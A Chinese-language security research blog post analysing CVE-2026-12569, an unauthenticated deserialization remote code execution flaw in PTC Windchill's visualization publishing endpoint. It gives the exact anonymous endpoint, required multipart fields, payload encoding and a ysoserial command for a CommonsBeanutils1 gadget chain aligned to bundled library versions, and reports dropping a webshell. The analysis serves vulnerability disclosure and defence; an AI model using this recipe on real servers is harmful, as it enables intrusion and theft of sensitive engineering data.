Post

CVE-2026-12569 深度分析:PTC Windchill 未授权反序列化 RCE

CVE-2026-12569 深度分析:PTC Windchill 未授权反序列化 RCE

背景

先介绍这个产品。PTC Windchill 是一套产品生命周期管理(PLM)系统,用在制造业和重工业领域,管理从设计、工程到生产的完整数据链条——CAD 图纸、物料清单(BOM)、变更记录、零部件文档都归它管。它服务的企业大多是航空航天、汽车、重型机械、国防承包商这类,设计图纸和工程数据属于核心机密,所以这套系统一旦被打穿,泄露的就是企业的研发命脉。Windchill 体型庞大,前端是 Apache,后端跑在 Tomcat 上(PTC 称为 MethodServer),依赖 Oracle 数据库存业务数据、LDAP 目录服务存用户信息,整套栈跑在 JDK 1.8 上(基于本次测试环境)。这次出问题的是它的 WVS(Windchill Visualization Services)可视化发布模块,负责把 CAD 模型转换成可在浏览器里查看的轻量化可视格式。

CVE-2026-12569 影响 PTC Windchill PDMLink / FlexPLM 的 WVS 可视化发布模块。NVD 给出的 CVSS v3.1 评分为 9.8,漏洞可被自动化利用,利用成功后可完全控制目标,且无需认证、无需用户交互,网络可达即可触发。该漏洞被标注为在野主动利用中,并于 2026-06-25 被 CISA 加入 KEV 目录——这是 PTC 产品首个进入 KEV 的漏洞。受影响版本覆盖 11.0 M030、11.1 M020、11.2.1、12.0.2、12.1.2、13.0.2、13.1.1。

这已是 PTC Windchill 在 90 天内第二次因反序列化被打。前作 CVE-2026-4681(CVSS 10.0)于 2026 年 3 月披露,补丁封堵某条路径后,攻击者迁移到 Publish 入口继续利用。

本研究使用的环境如下(均为授权环境):

内容
分析对象 Windchill 11.0 M030
运行时 JDK 1.8.0_60
运行实例 MethodServer
工具 CFR & idea & vscode & claude

摘要

  • 漏洞类型: 匿名反射 RPC 网关 WindchillGW 将攻击者 POST body 交由 com.ptc.wvs.server.publish.Publish.doPublishRep 处理,该方法把 multipart 表单中的 config_spec 字段当作 base64 编码的 Java 序列化对象,喂给 wt.util.Encoder.decode()ObjectInputStream.readObject(),全程无类白名单 / 无 ObjectInputFilter(CWE-502 + CWE-20)
  • 利用条件: 无需任何认证,单个 HTTP POST 请求即可触发;目标进程以 MethodServer 权限执行命令
  • 影响范围: 未授权远程代码执行,实测以 pdm11\administrator 权限落盘 webshell
  • 前置条件: 仅需网络可达目标,无需凭据、无需用户交互
  • Gadget 链: commons-collections 3.2.2 自带 functors 防护使全系列 CC 链失效,commons-beanutils 1.8.3 的 BeanComparator 无防护但 SUID 与 ysoserial 默认(1.9.x)不匹配;最终用 1.8.3 jar 重新生成 CommonsBeanutils1 成功

攻击入口

漏洞从入口到 sink 跨了好几层,按请求走向一层层拆。第一层是入口 URL,也是整个漏洞”未授权”的来源:

1
2
POST /Windchill/servlet/WindchillGW/com.ptc.wvs.server.publish.Publish/doPublishRep
Content-Type: multipart/form-data; boundary=<任意 boundary>

Windchill 部署了两个对称的网关 Servlet,鉴权策略截然不同:

  • WindchillGWwt.httpgw.HTTPGatewayServlet(匿名)
  • WindchillAuthGWwt.httpgw.HTTPAuthGatewayServlet(需 Basic 认证)

Apache 配置 30-app-Windchill-Auth.conf:86 显式把 WindchillGW 豁免认证:

1
2
3
<LocationMatch ^/+Windchill/+servlet/+WindchillGW(;.*)?>
    Require all granted
</LocationMatch>

app-Windchill-AuthRes.xml 同样标了匿名:

1
<resource type="anonymous">servlet/WindchillGW</resource>

同一台机器实测对照:

路径 状态码 含义
/Windchill/servlet/WindchillGW/... 200 / 302 / 500(非 401) 匿名放行
/Windchill/servlet/WindchillAuthGW/... 401 + WWW-Authenticate: Basic 受 Basic 认证保护

漏洞只能经 WindchillGW 进入。两个网关在传输层对称,鉴权差异完全落在 Apache 配置上。业务类 Publish.doPublishRep 既没有在方法本身做鉴权,反射调用时也不校验,其方法签名同时满足两个网关的反射分发要求。访问控制放在了传输层而非应用层,属于典型的边界错位。

反射 RPC 分发

请求过了 Apache 的匿名放行,到达后端。进后端后的调用链:

1
2
3
HTTPGatewayServlet.service()
  → MethodRequestHandler.handleRequest()
    → HTTPServer.processRequest(req, resp)

HTTPServer.processRequestHTTPServer.java:93-162)做的事情说白了就是一套通用的反射 RPC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// path_info = "/com.ptc.wvs.server.publish.Publish/doPublishRep"
StringTokenizer st = new StringTokenizer(path_info, "/");
String className  = st.nextToken();   // com.ptc.wvs.server.publish.Publish
String methodName = st.nextToken();   // doPublishRep

Class<?> clazz = Class.forName(className);

if (hTTPRequest.isPostRequest()) {
    // POST 优先匹配 3 参数重载
    Class[] sig = {HTTPRequest.class, HTTPResponse.class, InputStream.class};
    Object[] args = {req, resp, req.inputStream};
    Method m = clazz.getMethod(methodName, sig);
    m.invoke(null, args);
}

这段反射调用不检查鉴权,不检查 RemoteAccess 注解,不校验目标类是否在白名单内。只要某个类存在 public static methodName(HTTPRequest, HTTPResponse, InputStream) 形态的方法,就能被任意匿名调用。对 POST 请求,它还会把原始 InputStream(请求体)作为第三个参数直接传给目标方法,攻击者由此完全控制传入 doPublishRep 的字节流。

验证很简单,GET 一个不存在的类:

1
2
GET /Windchill/servlet/WindchillGW/foo.bar.NonExistent/fakeMethod
→ 500 + java.lang.ClassNotFoundException: foo.bar.NonExistent

请求未经认证就到达了 Class.forName,反射分发链路是通的。

反序列化 Sink

反射调用最终落到 Publish.doPublishRep,它位于 Publish.java:1641,用 MPInputStream 解析 multipart 表单,逐字段读取:

1
2
3
4
5
6
7
8
9
10
11
12
13
MPInputStream mp = new MPInputStream(inputStream,
        hTTPRequest.getProperty("cgi.multipart_boundary"));

if (name.equals(CONFIG_SPEC))      string10 = readString().trim();   // 1680
if (name.equals(DATA_SOURCE_TYPE)) ...
if (name.equals(OBJ_REF))          ...

// 当 dataSourceType == "1" 时进入 ConfigSpec 分支
if (string5.equals("1")) {                                          // 1730
    Object object2 = Encoder.decode(string10);   // ← 反序列化触发点!1755
    if (object2 instanceof ConfigSpec) ...
    else if (object2 instanceof NavigationCriteria) ...
}

进入反序列化分支只需三个 multipart 字段:

字段名 取值 作用
dataSourceType 1 进入 ConfigSpec 分支
objRef 任意非空字符串 否则提前 return(反序列化之后才用到,不影响触发)
config_spec base64(序列化 gadget) 喂给 Encoder.decode

wt.util.Encoder.decode(String) 本身只有一行:

1
2
3
public static Object decode(String s) {
    return new Encoder().setInput(s).readObject();
}

内部创建的 DecodeObjectInputStream extends ObjectInputStream,最终调用原生 readObject()。这个 ObjectInputStream 既没调 setObjectInputFilter,也没重写 resolveClass 做白名单——标准的 Java 反序列化调用点,零过滤。

这里有一个容易误判的地方。wt.verification 包里有 CallContext.computeTrustForObjectInputObjectInputTrust,初看像是反序列化过滤器。但看源码:computeTrustForObjectInput 只是在 ThreadLocal 里存取一个对象引用,不包装也不过滤 ObjectInputStream;ObjectInputTrust.isTrusted() 只判断 ObjectInput 引用是否相等,不是类过滤;而且整套机制基于 RMI client host,本漏洞走的是 HTTP multipart → Encoder.decode,根本不经过 RMI 信任链。所以这套机制对这个漏洞没有任何防护。

运行时验证

代码看下来,sink 确实存在且零防护。但静态分析只能说”看起来能跑通”,要确认 sink 真的可达,最干净的办法是不投递任何 gadget,只发一个无害的垃圾字符串触发它的”格式错误”路径——如果服务端真去反序列化这个垃圾串,就会抛出格式异常,异常的调用栈正好证明 sink 被命中。下面就是这次探测的 MethodServer 日志(PID 5480,原始未改):

1
2
3
4
5
2026-07-07 10:04:39,384 ERROR wt.wvs.publish.Publish - Unexpected exception
    at wt.util.Encoder$DecodeObjectInputStream.<init>(Encoder.java:245)
    at wt.util.Encoder.setInput(Encoder.java:132)
    at wt.util.Encoder.decode(Encoder.java:77)
    at com.ptc.wvs.server.publish.Publish.doPublishRep(Publish.java:3125)

调用栈精确命中 Publish.doPublishRep → Encoder.decode → setInput → DecodeObjectInputStream.<init>。紧跟着的下一行更关键:

1
2
3
4
5
java.io.StreamCorruptedException: invalid stream header: 4C7212FC
    at java.io.ObjectInputStream.readStreamHeader(ObjectInputStream.java:806)
    at java.io.ObjectInputStream.<init>(ObjectInputStream.java:299)
    at wt.util.Encoder$DecodeObjectInputStream.<init>(Encoder.java:245)
    at wt.util.Encoder.decode(Encoder.java:77)

4C7212FC 是那个垃圾字符串经 base64 解码后的首 4 字节,不等于 Java 序列化魔数 AC ED 00 05,所以 ObjectInputStream.readStreamHeader 拒绝了。这说明 ObjectInputStream 真的被创建了(不是 XML/JSON 解析),Encoder 的 base64 解码也在执行。剩下的只是一个合法的序列化 payload:把 4C7212FC 换成正确的 AC ED 00 05 + gadget 字节,流头校验就能通过,readObject() 执行,RCE 成立。整个过程没投递任何 gadget,只靠一个格式错误的字符串就证明了 sink 可达。

Gadget 选型

sink 可达已经确认,但这只说明反序列化流程会执行。要真正触发命令执行,还得有一条能在目标 classpath 上跑通的 gadget 链。

失败一:CommonsCollections6 被 CC 3.2.2 自带防护拦截

投递 ysoserial CommonsCollections6 "calc.exe"(1281 字节),服务端日志:

1
2
3
4
5
6
7
java.lang.UnsupportedOperationException: Serialization support for
org.apache.commons.collections.functors.InvokerTransformer is disabled
for security reasons. To enable it set system property
'org.apache.commons.collections.enableUnsafeSerialization' to 'true'...
    at org.apache.commons.collections.functors.InvokerTransformer.readObject(InvokerTransformer.java:164)
    at org.apache.commons.collections.map.LazyMap.readObject(LazyMap.java:150)
    at wt.util.Encoder.decode(Encoder.java:77)

本环境捆绑的是 Apache Commons-Collections 3.2.2(位于 ie3rdpartylibs.jar,pom.properties 确认)。3.2.2 给所有 functors 类(InvokerTransformerInstantiateTransformerCloneTransformer 等)的 readObject() 加了官方防护——检查系统属性 org.apache.commons.collections.enableUnsafeSerialization,默认 false,直接抛 UnsupportedOperationException。这是 Apache 专门为堵 CC 链加的补丁,对应 CVE-2015-7501 的修复。

注意防护点的位置:它在反序列化过程之中,而不是之前。请求确实进了 ObjectInputStream,确实开始还原对象图,只是还原到 InvokerTransformer 这个 functors 时被它自己的 readObject 挡下。从另一角度看,这反而说明反序列化流程跑起来了,sink 确实可达,只是要换一条不依赖 CC functors 的链。CC1/CC5/CC6/CC7 全系列都依赖 functors,至此全部出局。

这里有一个常见误区:很多自动化扫描器或半自动利用工具的逻辑是检测到 classpath 上有 commons-collections 就判 CC 链可用。在本环境下这种判断会 100% 失败。必须确认 CC 版本——3.2.2 / 4.1 及以上自带 functors 防护,全系列 CC 链失效。

失败二:CommonsBeanutils1 的 serialVersionUID 不匹配

转向 CommonsBeanutils1,直接用 ysoserial 默认生成的投递:

1
2
3
java.io.InvalidClassException: org.apache.commons.beanutils.BeanComparator;
local class incompatible: stream classdesc serialVersionUID = -2044202215314119608,
local class serialVersionUID = -3490850999041592962

ysoserial 内嵌的是 commons-beanutils 1.9.x 的 BeanComparator(SUID -2044202215314119608),而本环境 Windchill 自带的是 1.8.3(wc3rdpartylibs.jar 的 pom.properties 确认),SUID -3490850999041592962。两者对不上,JDK 的 SUID 校验在反序列化之前就拒绝了。

解释一下 SUID 校验。Java 序列化时每个可序列化类在流里写入一个 64 位 SUID——要么是类里显式声明的 serialVersionUID,要么是 JVM 按类结构自动算的哈希。反序列化时 ObjectStreamClass 比对流里的 SUID 和本地类的 SUID,不一致就抛 InvalidClassException,在还原任何对象之前拒绝,而且无法绕过。ysoserial 打包时固定用 1.9.x 的 BeanComparator,Windchill 11.0 M030 用的是 1.8.3,两个版本之间这个类的结构有细微变化(推测是引入了泛型参数 BeanComparator<T>),自动算出来的 SUID 就不同了。这种 SUID 不匹配在企业级 Java 应用里非常常见,是 ysoserial 默认 payload 失效的头号原因。

好消息是 BeanComparator(1.8.3)本身没有 readObject 防护,不像 InvokerTransformer,只是版本对不上。用 1.8.3 重新生成即可。

成功:用 commons-beanutils 1.8.3 重新生成 CB1,命令执行

把 1.8.3 的 jar 放到 classpath 最前面,覆盖 ysoserial 内嵌的 1.9.x:

1
2
3
4
5
6
curl -o commons-beanutils-1.8.3.jar \
  https://repo1.maven.org/maven2/commons-beanutils/commons-beanutils/1.8.3/commons-beanutils-1.8.3.jar

java -cp "commons-beanutils-1.8.3.jar;commons-collections-3.2.2.jar;\
commons-logging-1.2.jar;ysoserial-all.jar" \
  ysoserial.GeneratePayload CommonsBeanutils1 "calc.exe" > payload.bin

为什么把 1.8.3 的 jar 放到最前面就能解决?因为 ysoserial 生成 payload 时用 Class.forName 加载 BeanComparator,把当前 JVM 里这个类的实际 SUID 写进流。1.8.3 的 jar 排在 classpath 前面,加载的就是 1.8.3 的 BeanComparator,SUID 自然和目标一致。生成端和目标端用同一个依赖版本,是保证 SUID 对齐最可靠的办法。实际作战中,拿到目标的 WEB-INF/lib/*.jar 后,应当直接把这些 jar 加到生成工具 classpath 的最前面。

校验 SUID 对齐:

1
2
3
payload 内 BeanComparator SUID = -3490850999041592962
Windchill 本地 SUID           = -3490850999041592962
→ 完全匹配

投递后 calc.exe 在目标机启动,命令执行成立:

把 payload 里的命令换成写 JSP 文件,同样能向 web 可读目录落 webshell,实测以 pdm11\administrator 权限执行命令——命令执行通道成立后,后续利用只是换 payload 内容,此处不再展开。

SUID 跨版本映射:可复用的速查表

1.8.3 的问题解决了,下一个问题是:其他 Windchill 版本(11.1/11.2/12.x/13.x)捆绑的 commons-beanutils 是哪个版本?它们的 SUID 和 1.8.3 一样吗?如果不一样,固化在 PoC 里的 payload 打别的版本就会失败。

把 commons-beanutils 多个版本都测一遍,用 JDK 自带的 serialver 逐个算 BeanComparator 的 SUID:

1
serialver -classpath commons-beanutils-X.Y.Z.jar org.apache.commons.beanutils.BeanComparator

结果很有规律:

commons-beanutils 版本 BeanComparator SUID 与 Windchill 11.0 (1.8.3) 兼容?
1.8.0 -3490850999041592962 相同
1.8.2 -3490850999041592962 相同
1.8.3 -3490850999041592962 相同(测试环境)
1.9.2 -2044202215314119608 不同
1.9.3 -2044202215314119608 不同
1.9.4 -2044202215314119608 不同

同一大版本系列内部 SUID 稳定,跨大版本才变。1.8.x 全系列共用一个,1.9.x 全系列共用另一个。这跟 BeanComparator 没有显式声明 serialVersionUID 有关(javap -p 可验证),SUID 由 JVM 按类结构自动算;1.8 到 1.9 之间类结构变了,系列内部结构不变,SUID 就稳定。

最终链与传输格式

两次失败、一次成功,最终打通的链路如下(CommonsBeanutils1,beanutils 1.8.3 版):

1
2
3
4
5
6
7
8
ObjectInputStream.readObject()
  └─ PriorityQueue.readObject()                 // heapify → 触发比较
       └─ BeanComparator.compare()              // commons-beanutils 1.8.3(SUID 对齐,无 readObject 防护)
            └─ PropertyUtils.getProperty()      // 反射取属性 "outputProperties"
                 └─ TemplatesImpl.getOutputProperties()   // JDK 1.8.0_60 内置(触发点)
                      └─ TemplatesImpl.newTransformer()
                           └─ defineClass(恶意字节码)     // 加载并实例化
                                └─ Runtime.exec("calc.exe")  // 命令执行

这条链绕过 CC 3.2.2 防护的关键在于完全不碰 commons-collections functors:BeanComparator(1.8.3)没有 readObject 防护,SUID 对齐后可通过;TemplatesImpl 是 JDK 1.8.0_60 自带类,没有版本问题。BeanComparator + TemplatesImpl 的组合适用于所有”CC 已打补丁、beanutils 未打补丁”的环境。

链路有了,下一个问题是:这条链的序列化字节,怎么塞进 HTTP 请求、被服务端正确还原?这取决于 wt.util.Encoder 的传输格式。反序列化数据不是裸 Java 序列化字节,而是经 Encoder 自定义封装:编码为 base64(完整序列化字节流,含魔数 AC ED 00 05),放在 multipart 表单的 config_spec 字段里(纯文本字段,不是文件上传)。Encoder.setInput(String) 解码时先 resetStream() 重写魔数,跳过输入前 4 字节,再 base64 解码剩余字节。构造 payload 时直接 base64 编码完整的 ysoserial 输出(含魔数字节)即可。config_spec 必须按 Encoder 的格式组织,否则 readObject 会因流头错位抛 StreamCorruptedException(就是前面 4C7212FC 那条日志的由来),而不是触发 gadget。

方法论回顾

阶段 发现 意义
Apache 配置审计 WindchillGW 显式 Require all granted 定位未授权入口
反射分发分析 path_info 直接拆成类名/方法名反射调用 解释任意方法可达性
无害垃圾字符串探测 StreamCorruptedException: 4C7212FC 非破坏性证明 sink 可达
CC6 投递 UnsupportedOperationException 来自 CC 自身防护 判定全系列 CC 链失效,需换链
CB1 默认投递 InvalidClassException SUID 不匹配 定位 ysoserial 默认 payload 失效原因
serialver 批量测算 SUID 按版本族分布 固化 payload 只需覆盖到族粒度

时间线

日期 事件
2026-03 前作 CVE-2026-4681(CVSS 10.0)披露
2026-06-25 CVE-2026-12569 被 CISA 加入 KEV 目录
2026-07-07 运行实例非破坏性验证 + 武器化实测(calc PID 4952)
2026-07-08 本文分析整理

总结

CVE-2026-12569 是一个三段式漏洞:入口的 WindchillGW 在 Apache 层 Require all granted,匿名可达;中间的 HTTPServer.processRequestpath_info 直接拆成类名/方法名做反射调用,没有鉴权也没有白名单;终点的 Publish.doPublishRepEncoder.decodeObjectInputStream.readObject() 零过滤。三段叠加,一个普通的业务接口变成了稳定的未授权命令执行通道。

gadget 调试那段说明反序列化利用的成败往往不在 sink 有没有,而在环境版本细节对不对齐:commons-collections 在 classpath 不等于 CC 链可用(3.2.2 自带 functors 防护,全系列出局);commons-beanutils 可用不等于 ysoserial 默认的 CB1 可用(SUID 版本族差异,1.8.x 和 1.9.x 各占一个)。

至于 Windchill 自己做了什么防护,从 CC6 那条日志能看得很清楚:Encoder.decodeObjectInputStream 全程没有 ObjectInputFilter,也没有类白名单。CC 链被挡是 CC 库自己的防护,不是 Windchill 的。Windchill 对这个反序列化点没有任何防护,这才是 CVE-2026-12569 的问题所在。加上 90 天内连出两次同类漏洞(CVE-2026-4681 → CVE-2026-12569),反序列化攻击面的系统性治理缺失已经很明显。

参考链接

  • NVD CVE-2026-12569
  • CISA KEV Catalog(2026-06-25 入库)
  • PTC 安全公告与 IOC(deserialization / mitigation 规则出处)
  • 关联漏洞:CVE-2026-4681(同产品,2026-03,CVSS 10.0)
  • 同类参考:CVE-2023-46604(Apache ActiveMQ OpenWire 反序列化)、CVE-2023-43208(Mirth Connect)
  • 工具:ysoserial(gadget 生成)、CFR 0.152(反编译)
  • Apache Commons-Collections 安全报告
This post is licensed under CC BY 4.0 by the author.